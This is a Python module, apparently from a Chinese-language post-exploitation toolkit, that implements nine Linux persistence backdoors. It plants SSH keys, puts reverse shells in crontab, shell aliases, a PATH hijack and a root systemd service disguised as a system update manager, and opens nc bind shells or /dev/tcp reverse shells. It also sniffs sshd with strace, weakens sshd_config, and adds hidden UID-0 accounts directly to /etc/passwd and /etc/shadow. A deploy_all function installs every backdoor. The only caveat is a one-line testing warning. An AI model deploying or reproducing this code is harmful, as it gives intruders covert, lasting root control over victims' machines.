#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""privilegeMaintenance v1.0 - 利用模块

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

Linux权限维持技术实现

作者: 大傻逼
版本: v1.0
功能: 实现9种权限维持技术
警告: 仅用于授权测试环境"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import subprocess
import time
import random
import string
import base64
from core.utils import color_green, color_red, color_yellow, color_blue, get_ip_input, get_port_input, get_reverse_shell_command, run_command_compat, encrypt_password_fallback
from modules.intelligence.dependency_manager import DependencyManager



class SSHKeyBackdoor:
    """SSH密钥后门"""
    
    def __init__(self):
        self.name = "SSH密钥后门"
        self.description = "通过SSH密钥实现持久化访问"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查SSH服务
        try:
            result = subprocess.run(['systemctl', 'is-active', 'ssh'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.stdout.decode('utf-8').strip() == 'active':
                conditions.append("SSH服务运行中")
            else:
                result = subprocess.run(['systemctl', 'is-active', 'sshd'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.stdout.decode('utf-8').strip() == 'active':
                    conditions.append("SSH服务运行中")
        except:
            pass
            
        # 检查.ssh目录
        ssh_dir = os.path.expanduser("~/.ssh")
        if os.path.exists(ssh_dir) and os.access(ssh_dir, os.W_OK):
            conditions.append("SSH目录可写")
            
        return conditions
    
    def deploy(self, public_key=None, target_user=None):
        """部署SSH密钥后门"""
        try:
            # 动态获取用户家目录
            if target_user:
                # 获取指定用户的家目录
                try:
                    import pwd
                    user_info = pwd.getpwnam(target_user)
                    home_dir = user_info.pw_dir
                    color_blue("目标用户: {}".format(target_user))
                    color_blue("家目录: {}".format(home_dir))
                except (ImportError, KeyError):
                    # 如果pwd模块不可用，使用eval echo方式
                    result = subprocess.run(['bash', '-c', "eval echo ~{}".format(target_user)], 
                                          capture_output=True, text=True)
                    if result.returncode == 0:
                        home_dir = result.stdout.strip()
                        color_blue("目标用户: {}".format(target_user))
                        color_blue("家目录: {}".format(home_dir))
                    else:
                        color_red("无法获取用户 {} 的家目录".format(target_user))
                        return False
            else:
                # 获取当前用户的家目录
                home_dir = os.path.expanduser("~")
                current_user = os.environ.get('USER', os.environ.get('USERNAME', 'unknown'))
                color_blue("当前用户: {}".format(current_user))
                color_blue("家目录: {}".format(home_dir))
            
            ssh_dir = os.path.join(home_dir, ".ssh")
            authorized_keys = os.path.join(ssh_dir, "authorized_keys")
            
            color_blue("SSH目录: {}".format(ssh_dir))
            color_blue("授权密钥文件: {}".format(authorized_keys))
            
            # 创建.ssh目录并设置正确权限
            if not os.path.exists(ssh_dir):
                os.makedirs(ssh_dir, 0o700)
                color_green("创建SSH目录: {}".format(ssh_dir))
            
            # 检查并修正.ssh目录权限
            current_ssh_perms = oct(os.stat(ssh_dir).st_mode)[-3:]
            if current_ssh_perms != '700':
                try:
                    os.chmod(ssh_dir, 0o700)
                    color_green("修正SSH目录权限: {} -> 700".format(current_ssh_perms))
                except PermissionError:
                    color_red("修正SSH目录权限失败，需要root权限")
                    color_yellow("请以root权限执行或手动修正权限:")
                    color_yellow("chmod 700 {}".format(ssh_dir))
                    return False
            else:
                color_green("SSH目录权限正确: {}".format(current_ssh_perms))
                
            # 生成密钥对（如果没有提供公钥）
            if not public_key:
                key_name = "backdoor_key"
                color_blue("生成SSH密钥对...")
                
                keygen_result = subprocess.run(['ssh-keygen', '-t', 'rsa', '-b', '2048', 
                                              '-f', key_name, '-N', ''], 
                                              stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                
                if keygen_result.returncode != 0:
                    color_red("SSH密钥生成失败")
                    return False
                
                try:
                    with open("{}.pub".format(key_name), 'r') as f:
                        public_key = f.read().strip()
                    color_yellow("私钥已保存到: {}".format(key_name))
                    color_green("SSH密钥对生成成功")
                except FileNotFoundError:
                    color_red("无法读取生成的公钥文件")
                    return False
                
            # 添加到authorized_keys
            color_blue("添加公钥到authorized_keys...")
            try:
                with open(authorized_keys, 'a') as f:
                    f.write("\n# Backdoor key - {}\n".format(time.strftime('%Y-%m-%d %H:%M:%S')))
                    f.write("{}\n".format(public_key))
                color_green("公钥添加成功")
            except PermissionError:
                color_red("写入authorized_keys失败，权限不足")
                return False
                
            # 检查并修正authorized_keys权限
            if os.path.exists(authorized_keys):
                current_key_perms = oct(os.stat(authorized_keys).st_mode)[-3:]
                if current_key_perms != '600':
                    try:
                        os.chmod(authorized_keys, 0o600)
                        color_green("修正authorized_keys权限: {} -> 600".format(current_key_perms))
                    except PermissionError:
                        color_red("修正authorized_keys权限失败，需要root权限")
                        color_yellow("请手动修正权限:")
                        color_yellow("chmod 600 {}".format(authorized_keys))
                        return False
                else:
                    color_green("authorized_keys权限正确: {}".format(current_key_perms))
            
            # 最终权限验证
            color_blue("最终权限验证:")
            ssh_perms = oct(os.stat(ssh_dir).st_mode)[-3:]
            key_perms = oct(os.stat(authorized_keys).st_mode)[-3:]
            
            if ssh_perms == '700' and key_perms == '600':
                color_green("✓ SSH密钥后门部署成功")
                color_green("  ✓ SSH目录权限: {} (正确)".format(ssh_perms))
                color_green("  ✓ 密钥文件权限: {} (正确)".format(key_perms))
                color_yellow("  SSH目录: {}".format(ssh_dir))
                color_yellow("  密钥文件: {}".format(authorized_keys))
                
                # 显示连接信息
                if target_user:
                    color_blue("SSH连接命令:")
                    color_yellow("  ssh {}@<target_ip> -i {}".format(target_user, key_name))
                
                return True
            else:
                color_red("权限验证失败")
                color_red("  SSH目录权限: {} (应为700)".format(ssh_perms))
                color_red("  密钥文件权限: {} (应为600)".format(key_perms))
                return False
            
        except Exception as e:
            color_red("SSH密钥后门部署失败: {}".format(e))
            return False

class CrontabBackdoor:
    """Crontab定时任务后门"""
    
    def __init__(self):
        self.name = "Crontab定时任务后门"
        self.description = "通过定时任务实现持久化执行"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查crontab命令
        try:
            result = subprocess.run(['which', 'crontab'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("crontab命令可用")
        except:
            pass
            
        # 检查cron服务
        try:
            result = subprocess.run(['systemctl', 'is-active', 'cron'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.stdout.decode('utf-8').strip() == 'active':
                conditions.append("cron服务运行中")
            else:
                result = subprocess.run(['systemctl', 'is-active', 'crond'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.stdout.decode('utf-8').strip() == 'active':
                    conditions.append("crond服务运行中")
        except:
            pass
            
        return conditions
    
    def deploy(self, command=None, interval="*/5 * * * *"):
        """部署Crontab后门"""
        try:
            if not command:
                # 获取用户输入的IP和端口
                command = get_reverse_shell_command()
                if not command:
                    color_red("用户取消操作")
                    return False
                
            # 获取当前crontab
            try:
                result = subprocess.run(['crontab', '-l'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                current_crontab = result.stdout.decode('utf-8') if result.stdout else ""
            except:
                current_crontab = ""
                
            # 添加新任务
            new_task = "{} {}".format(interval, command)
            updated_crontab = current_crontab + "\n{}\n".format(new_task)
            
            # 写入crontab
            process = subprocess.Popen(['crontab', '-'], 
                                     stdin=subprocess.PIPE)
            process.communicate(input=updated_crontab.encode('utf-8'))
            
            color_green("Crontab后门部署成功")
            color_yellow("任务: {}".format(new_task))
            return True
            
        except Exception as e:
            color_red("Crontab后门部署失败: {}".format(e))
            return False

class BashAliasBackdoor:
    """Bash别名后门"""
    
    def __init__(self):
        self.name = "Bash别名后门"
        self.description = "通过shell别名劫持常用命令"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查bash
        if os.path.exists("/bin/bash"):
            conditions.append("Bash shell可用")
            
        # 检查配置文件
        config_files = ["~/.bashrc", "~/.bash_profile", "~/.profile"]
        for config in config_files:
            path = os.path.expanduser(config)
            if os.path.exists(path) and os.access(path, os.W_OK):
                conditions.append("{}可写".format(config))
                break
                
        return conditions
    
    def deploy(self, target_command="ls", backdoor_command=None):
        """部署Bash别名后门"""
        try:
            if not backdoor_command:
                # 获取用户输入的IP和端口
                reverse_shell = get_reverse_shell_command()
                if not reverse_shell:
                    color_red("用户取消操作")
                    return False
                # 修复引号嵌套问题：使用双引号包围bash -c的内容
                backdoor_command = f'bash -c "{reverse_shell}"; /bin/{target_command}'
                
            # 选择配置文件
            config_file = os.path.expanduser("~/.bashrc")
            if not os.path.exists(config_file):
                config_file = os.path.expanduser("~/.bash_profile")
                
            # 添加别名 - 使用单引号包围整个命令
            alias_line = "\nalias {0}='{1}'\n".format(target_command, backdoor_command)
            
            with open(config_file, 'a') as f:
                f.write(alias_line)
                
            color_green("Bash别名后门部署成功")
            color_yellow("劫持命令: {0}".format(target_command))
            return True
            
        except Exception as e:
            color_red("Bash别名后门部署失败: {0}".format(e))
            return False

class StraceBackdoor:
    """Strace进程监控后门"""
    
    def __init__(self):
        self.name = "Strace进程监控后门"
        self.description = "通过strace监控进程实现信息收集"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查strace工具
        try:
            result = subprocess.run(['which', 'strace'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("strace工具可用")
        except:
            pass
            
        # 检查ptrace限制
        try:
            with open('/proc/sys/kernel/yama/ptrace_scope', 'r') as f:
                scope = f.read().strip()
                if scope == '0':
                    conditions.append("无ptrace限制")
        except:
            conditions.append("无ptrace限制配置")
            
        return conditions
    
    def deploy(self, target_process="sshd", log_file="/tmp/.strace.log"):
        """部署Strace监控后门"""
        try:
            # 创建监控脚本
            script_content = f"""#!/bin/bash
while true; do
    pids=$(pgrep {target_process})
    for pid in $pids; do
        strace -p $pid -e trace=write -o {log_file} 2>/dev/null &
    done
    sleep 60
done
"""
            
            script_path = "/tmp/.strace_monitor.sh"
            with open(script_path, 'w') as f:
                f.write(script_content)
                
            os.chmod(script_path, 0o755)
            
            # 启动监控
            subprocess.Popen(['nohup', script_path], 
                           stdout=subprocess.DEVNULL, 
                           stderr=subprocess.DEVNULL)
            
            color_green("Strace监控后门部署成功")
            color_yellow("监控进程: {}".format(target_process))
            color_yellow("日志文件: {}".format(log_file))
            return True
            
        except Exception as e:
            color_red("Strace监控后门部署失败: {}".format(e))
            return False

class SystemServiceBackdoor:
    """系统服务后门"""
    
    def __init__(self):
        self.name = "系统服务后门"
        self.description = "通过系统服务实现持久化"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查systemd
        if os.path.exists("/bin/systemctl") or os.path.exists("/usr/bin/systemctl"):
            conditions.append("systemd可用")
            
        # 检查服务目录权限
        service_dirs = ["/etc/systemd/system", "/usr/lib/systemd/system"]
        for dir_path in service_dirs:
            if os.path.exists(dir_path) and os.access(dir_path, os.W_OK):
                conditions.append("{}可写".format(dir_path))
                break
                
        return conditions
    
    def deploy(self, service_name="system-update", command=None):
        """部署系统服务后门"""
        try:
            if not command:
                # 获取用户输入的IP和端口
                reverse_shell = get_reverse_shell_command()
                if not reverse_shell:
                    color_red("用户取消操作")
                    return False
                command = f"bash -c '{reverse_shell}'"
                
            # 生成伪装的服务描述
            service_descriptions = [
                "System Log Monitor",
                "System Health Check Service", 
                "System Update Manager",
                "System Backup Service",
                "System Maintenance Daemon"
            ]
            description = random.choice(service_descriptions)
                
            # 创建完整的服务文件配置
            service_content = f"""[Unit]
Description={description}
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "{command}"
Restart=always
RestartSec=60
User=root
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
"""
            
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            
            # 写入服务文件
            with open(service_file, 'w') as f:
                f.write(service_content)
                
            color_blue("创建服务文件: {}".format(service_file))
            
            # 重新加载systemd配置
            reload_result = subprocess.run(['systemctl', 'daemon-reload'], 
                                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if reload_result.returncode != 0:
                color_red("systemctl daemon-reload 失败")
                return False
                
            # 启用服务
            enable_result = subprocess.run(['systemctl', 'enable', service_name], 
                                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if enable_result.returncode != 0:
                color_red("启用服务 {} 失败".format(service_name))
                return False
                
            # 启动服务
            start_result = subprocess.run(['systemctl', 'start', service_name], 
                                        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if start_result.returncode != 0:
                color_red("启动服务 {} 失败".format(service_name))
                return False
            
            # 部署后状态校验
            color_blue("正在验证服务状态...")
            time.sleep(2)  # 等待服务启动
            
            # 检查服务是否处于活动状态
            status_result = subprocess.run(['systemctl', 'is-active', service_name], 
                                         stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            if status_result.stdout.strip() == 'active':
                color_green("✓ 系统服务后门部署成功")
                color_yellow("服务名: {}".format(service_name))
                color_yellow("服务描述: {}".format(description))
                color_green(f"服务状态: 运行中")
                
                # 显示服务详细信息
                color_blue("服务配置验证:")
                color_green("  ✓ Restart=always (进程退出后自动重启)")
                color_green("  ✓ Description={} (伪装成系统服务)".format(description))
                color_green("  ✓ WantedBy=multi-user.target (适配默认运行级别)")
                color_green("  ✓ After=network.target (网络启动后运行)")
                
                return True
            else:
                color_red("服务状态异常: {}".format(status_result.stdout.strip()))
                color_yellow("查看服务日志: journalctl -u {}".format(service_name))
                color_yellow("可能的问题:")
                color_yellow("  - 命令路径错误")
                color_yellow("  - 权限不足")
                color_yellow("  - 网络连接问题")
                return False
            
        except Exception as e:
            color_red("系统服务后门部署失败: {}".format(e))
            return False

class EnvironmentBackdoor:
    """环境变量后门"""
    
    def __init__(self):
        self.name = "环境变量后门"
        self.description = "通过环境变量劫持实现持久化"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查PATH变量
        if 'PATH' in os.environ:
            conditions.append("PATH环境变量可访问")
            
        # 检查配置文件
        config_files = ["/etc/profile", "/etc/bash.bashrc", "~/.bashrc"]
        for config in config_files:
            path = os.path.expanduser(config)
            if os.path.exists(path) and os.access(path, os.W_OK):
                conditions.append("{}可写".format(config))
                
        return conditions
    
    def deploy(self, target_binary="ls"):
        """部署环境变量后门"""
        try:
            # 创建恶意二进制文件
            fake_binary_dir = "/tmp/.hidden_bin"
            os.makedirs(fake_binary_dir, exist_ok=True)
            
            fake_binary = os.path.join(fake_binary_dir, target_binary)
            
            # 获取用户输入的IP和端口
            reverse_shell = get_reverse_shell_command()
            if not reverse_shell:
                color_red("用户取消操作")
                return False
            
            # 创建包装脚本
            wrapper_content = f"""#!/bin/bash
# 执行后门代码
bash -c '{reverse_shell}' &
# 执行原始命令
/bin/{target_binary} "$@"
"""
            
            with open(fake_binary, 'w') as f:
                f.write(wrapper_content)
                
            os.chmod(fake_binary, 0o755)
            
            # 修改PATH
            config_file = os.path.expanduser("~/.bashrc")
            path_line = "\nexport PATH={}:$PATH\n".format(fake_binary_dir)
            
            with open(config_file, 'a') as f:
                f.write(path_line)
                
            color_green("环境变量后门部署成功")
            color_yellow("劫持命令: {}".format(target_binary))
            color_yellow("恶意路径: {}".format(fake_binary_dir))
            return True
            
        except Exception as e:
            color_red("环境变量后门部署失败: {}".format(e))
            return False

class SSHConfigBackdoor:
    """SSH配置后门"""
    
    def __init__(self):
        self.name = "SSH配置后门"
        self.description = "通过修改SSH配置实现后门访问"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查SSH配置文件
        config_file = "/etc/ssh/sshd_config"
        if os.path.exists(config_file) and os.access(config_file, os.W_OK):
            conditions.append("SSH配置文件可写")
            
        # 检查SSH服务
        try:
            result = subprocess.run(['systemctl', 'is-active', 'ssh'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.stdout.decode('utf-8').strip() == 'active':
                conditions.append("SSH服务运行中")
            else:
                result = subprocess.run(['systemctl', 'is-active', 'sshd'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.stdout.decode('utf-8').strip() == 'active':
                    conditions.append("SSH服务运行中")
        except:
            pass
            
        return conditions
    
    def deploy(self, backdoor_port=None):
        """部署SSH配置后门"""
        try:
            if backdoor_port is None:
                backdoor_port = get_port_input("请输入SSH后门端口", "2222")
                if backdoor_port is None:
                    color_red("用户取消操作")
                    return False
            config_file = "/etc/ssh/sshd_config"
            
            # 备份原配置
            subprocess.run(['cp', config_file, "{}.backup".format(config_file)], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            # 添加后门配置
            backdoor_config = f"""
# Hidden backdoor configuration
Port {backdoor_port}
PermitRootLogin yes
PasswordAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
"""
            
            with open(config_file, 'a') as f:
                f.write(backdoor_config)
                
            # 重启SSH服务
            subprocess.run(['systemctl', 'restart', 'sshd'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            color_green("SSH配置后门部署成功")
            color_yellow("后门端口: {}".format(backdoor_port))
            return True
            
        except Exception as e:
            color_red("SSH配置后门部署失败: {}".format(e))
            return False

class NetworkBackdoor:
    """网络后门"""
    
    def __init__(self):
        self.name = "网络后门"
        self.description = "通过网络服务实现远程访问"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查网络工具
        tools = ['nc', 'netcat', 'socat', 'python', 'python3']
        for tool in tools:
            try:
                result = subprocess.run(['which', tool], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.returncode == 0:
                    conditions.append("{}工具可用".format(tool))
            except:
                pass
                
        return conditions
    
    def deploy(self, port=None, bind_shell=True):
        """部署网络后门"""
        try:
            if port is None:
                port = get_port_input("请输入网络后门端口", "8888")
                if port is None:
                    color_red("用户取消操作")
                    return False
            
            if bind_shell:
                # Bind Shell
                script_content = f"""#!/bin/bash
while true; do
    nc -l -p {port} -e /bin/bash
    sleep 5
done
"""
            else:
                # Reverse Shell - 获取用户输入的IP
                ip = get_ip_input("请输入监听IP地址", "192.168.1.100")
                if ip is None:
                    color_red("用户取消操作")
                    return False
                script_content = f"""#!/bin/bash
while true; do
    bash -i >& /dev/tcp/{ip}/{port} 0>&1
    sleep 60
done
"""
            
            script_path = "/tmp/.network_backdoor.sh"
            with open(script_path, 'w') as f:
                f.write(script_content)
                
            os.chmod(script_path, 0o755)
            
            # 启动后门
            subprocess.Popen(['nohup', script_path], 
                           stdout=subprocess.DEVNULL, 
                           stderr=subprocess.DEVNULL)
            
            shell_type = "Bind Shell" if bind_shell else "Reverse Shell"
            color_green("网络后门部署成功 ({})".format(shell_type))
            color_yellow("端口: {}".format(port))
            return True
            
        except Exception as e:
            color_red("网络后门部署失败: {}".format(e))
            return False

class UserAccountBackdoor:
    """用户账户后门"""
    
    def __init__(self):
        self.name = "用户账户后门"
        self.description = "通过创建隐藏超级用户实现持久化访问"
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查是否为root权限
        try:
            if os.geteuid() == 0:
                conditions.append("具有root权限")
        except:
            pass
        
        # 检查/etc/passwd文件权限
        if os.path.exists('/etc/passwd') and os.access('/etc/passwd', os.W_OK):
            conditions.append("/etc/passwd文件可写")
            
        # 检查/etc/shadow文件权限
        if os.path.exists('/etc/shadow') and os.access('/etc/shadow', os.W_OK):
            conditions.append("/etc/shadow文件可写")
            
        # 检查useradd命令
        try:
            result = run_command_compat(['which', 'useradd'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("useradd命令可用")
        except:
            pass
            
        # 检查passwd命令
        try:
            result = run_command_compat(['which', 'passwd'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("passwd命令可用")
        except:
            pass
            
        return conditions
    
    def deploy(self, username=None, password=None, method="useradd"):
        """部署用户账户后门
        
        Args:
            username: 用户名，默认随机生成
            password: 密码，默认为123456
            method: 部署方法，useradd或passwd_direct
        """
        try:
            # 设置默认值
            if not username:
                # 生成随机用户名，看起来像系统用户
                system_prefixes = ['sys', 'daemon', 'bin', 'adm', 'sync', 'games', 'man', 'lp', 'mail', 'news', 'uucp', 'proxy', 'www-data', 'backup', 'list', 'irc', 'gnats']
                username = random.choice(system_prefixes) + str(random.randint(10, 99))
                
            if not password:
                password = "123456"
                
            color_blue("正在创建用户账户后门...")
            color_yellow("用户名: {}".format(username))
            color_yellow("密码: {}".format(password))
            color_yellow("方法: {}".format(method))
            
            if method == "useradd":
                return self._deploy_useradd(username, password)
            elif method == "passwd_direct":
                return self._deploy_passwd_direct(username, password)
            else:
                color_red("不支持的部署方法")
                return False
                
        except Exception as e:
            color_red("用户账户后门部署失败: {}".format(e))
            return False
    
    def _deploy_useradd(self, username, password):
        """使用useradd命令创建后门用户"""
        try:
            # 生成加密密码，优先使用openssl，失败时使用Python备用方案
            salt = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
            encrypted_password = run_command_compat(
                ['openssl', 'passwd', '-1', '-salt', salt, password],
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
            )
            
            if encrypted_password.returncode != 0:
                # openssl失败，使用Python备用方案
                color_yellow("openssl不可用，使用备用加密方案...")
                passwd_hash = encrypt_password_fallback(password)
                if not passwd_hash:
                    color_red("密码加密失败")
                    return False
            else:
                passwd_hash = encrypted_password.stdout.strip()
            
            # 创建用户（UID=0表示超级用户权限）
            useradd_cmd = [
                'useradd', 
                '-p', passwd_hash,
                username,
                '-o',  # 允许重复UID
                '-u', '0',  # UID=0 (root权限)
                '-g', 'root',  # 主组为root
                '-G', 'root',  # 附加组为root
                '-s', '/bin/bash',  # 默认shell
                '-d', '/home/{}'.format(username)  # 家目录
            ]
            
            result = run_command_compat(useradd_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            if result.returncode == 0:
                color_green("✅ 用户账户后门创建成功!")
                color_green("   用户名: {}".format(username))
                color_green("   密码: {}".format(password))
                color_green("   权限: root (UID=0)")
                color_yellow("   登录命令: su - {}".format(username))
                color_yellow("   SSH登录: ssh {}@<target_ip>".format(username))
                return True
            else:
                if hasattr(result.stderr, 'decode'):
                    error_msg = result.stderr.decode('utf-8', errors='ignore')
                else:
                    error_msg = str(result.stderr) if result.stderr else "未知错误"
                color_red("useradd命令执行失败: {}".format(error_msg))
                return False
                
        except Exception as e:
            color_red("useradd方法部署失败: {}".format(e))
            return False
    
    def _deploy_passwd_direct(self, username, password):
        """直接修改/etc/passwd文件创建后门用户"""
        try:
            # 检查用户是否已存在
            with open('/etc/passwd', 'r') as f:
                if "{}:".format(username) in f.read():
                    color_red("用户 {} 已存在".format(username))
                    return False
            
            # 生成加密密码，优先使用openssl，失败时使用Python备用方案
            salt = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
            encrypted_password = run_command_compat(
                ['openssl', 'passwd', '-1', '-salt', salt, password],
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
            )
            
            if encrypted_password.returncode != 0:
                # openssl失败，使用Python备用方案
                color_yellow("openssl不可用，使用备用加密方案...")
                passwd_hash = encrypt_password_fallback(password)
                if not passwd_hash:
                    color_red("密码加密失败")
                    return False
            else:
                passwd_hash = encrypted_password.stdout.strip()
            
            # 添加到/etc/passwd (UID=0表示root权限)
            passwd_entry = "{}:x:0:0::/home/{}:/bin/bash\n".format(username, username)
            
            with open('/etc/passwd', 'a') as f:
                f.write(passwd_entry)
            
            # 添加到/etc/shadow
            shadow_entry = "{}:{}:19000:0:99999:7:::\n".format(username, passwd_hash)
            
            with open('/etc/shadow', 'a') as f:
                f.write(shadow_entry)
            
            # 创建家目录
            home_dir = "/home/{}".format(username)
            if not os.path.exists(home_dir):
                os.makedirs(home_dir, 0o755)
                run_command_compat(['chown', '{}:root'.format(username), home_dir])
            
            color_green("✅ 用户账户后门创建成功!")
            color_green("   用户名: {}".format(username))
            color_green("   密码: {}".format(password))
            color_green("   权限: root (UID=0)")
            color_green("   方法: 直接修改/etc/passwd")
            color_yellow("   登录命令: su - {}".format(username))
            color_yellow("   SSH登录: ssh {}@<target_ip>".format(username))
            
            return True
            
        except Exception as e:
            color_red("passwd_direct方法部署失败: {}".format(e))
            return False

# 后门管理器
class BackdoorManager:
    """后门管理器"""
    
    def __init__(self):
        self.backdoors = {
            1: SSHKeyBackdoor(),
            2: CrontabBackdoor(),
            3: BashAliasBackdoor(),
            4: StraceBackdoor(),
            5: SystemServiceBackdoor(),
            6: EnvironmentBackdoor(),
            7: SSHConfigBackdoor(),
            8: NetworkBackdoor(),
            9: UserAccountBackdoor()
        }
        self.dep_manager = DependencyManager()
    
    def list_backdoors(self):
        """列出所有后门类型"""
        print("\n" + "="*60)
        color_blue("🔥 privilegeMaintenance v1.0 - 利用方式选择")
        print("="*60)
        
        # 检查系统依赖
        if self.dep_manager.initialize():
            missing_deps = self.dep_manager.check_all_dependencies()
            if missing_deps:
                color_yellow("\n⚠️  系统依赖检查:")
                color_red("    缺失依赖: {}".format(', '.join(missing_deps)))
                color_blue("    建议先安装依赖以确保所有功能正常工作")
            else:
                color_green("\n✓ 系统依赖检查: 所有依赖都已安装")
        
        for num, backdoor in self.backdoors.items():
            print("\n[{}] {}".format(num, backdoor.name))
            print("    描述: {}".format(backdoor.description))
            
            # 检查条件
            conditions = backdoor.check_conditions()
            if conditions:
                color_green("    条件: {}个满足".format(len(conditions)))
                for condition in conditions:
                    print("      ✓ {}".format(condition))
            else:
                color_red("    条件: 不满足部署要求")
                
        print("\n" + "="*60)
    
    def deploy_backdoor(self, backdoor_id, **kwargs):
        """部署指定后门"""
        if backdoor_id in self.backdoors:
            backdoor = self.backdoors[backdoor_id]
            color_blue("\n正在部署: {}".format(backdoor.name))
            return backdoor.deploy(**kwargs)
        else:
            color_red("无效的后门ID")
            return False
    
    def deploy_all(self):
        """部署所有可用后门"""
        color_blue("\n开始部署所有可用后门...")
        success_count = 0
        
        for backdoor_id, backdoor in self.backdoors.items():
            color_blue("\n检查后门: {}".format(backdoor.name))
            
            # 检查条件
            conditions = backdoor.check_conditions()
            if conditions:
                color_green("条件满足，开始部署...")
                if backdoor.deploy():
                    color_green("✓ {} 部署成功".format(backdoor.name))
                    success_count += 1
                else:
                    color_red("✗ {} 部署失败".format(backdoor.name))
            else:
                color_yellow("跳过 {} - 条件不满足".format(backdoor.name))
        
        color_blue("\n部署完成! 成功部署 {}/{} 个后门".format(success_count, len(self.backdoors)))
        return success_count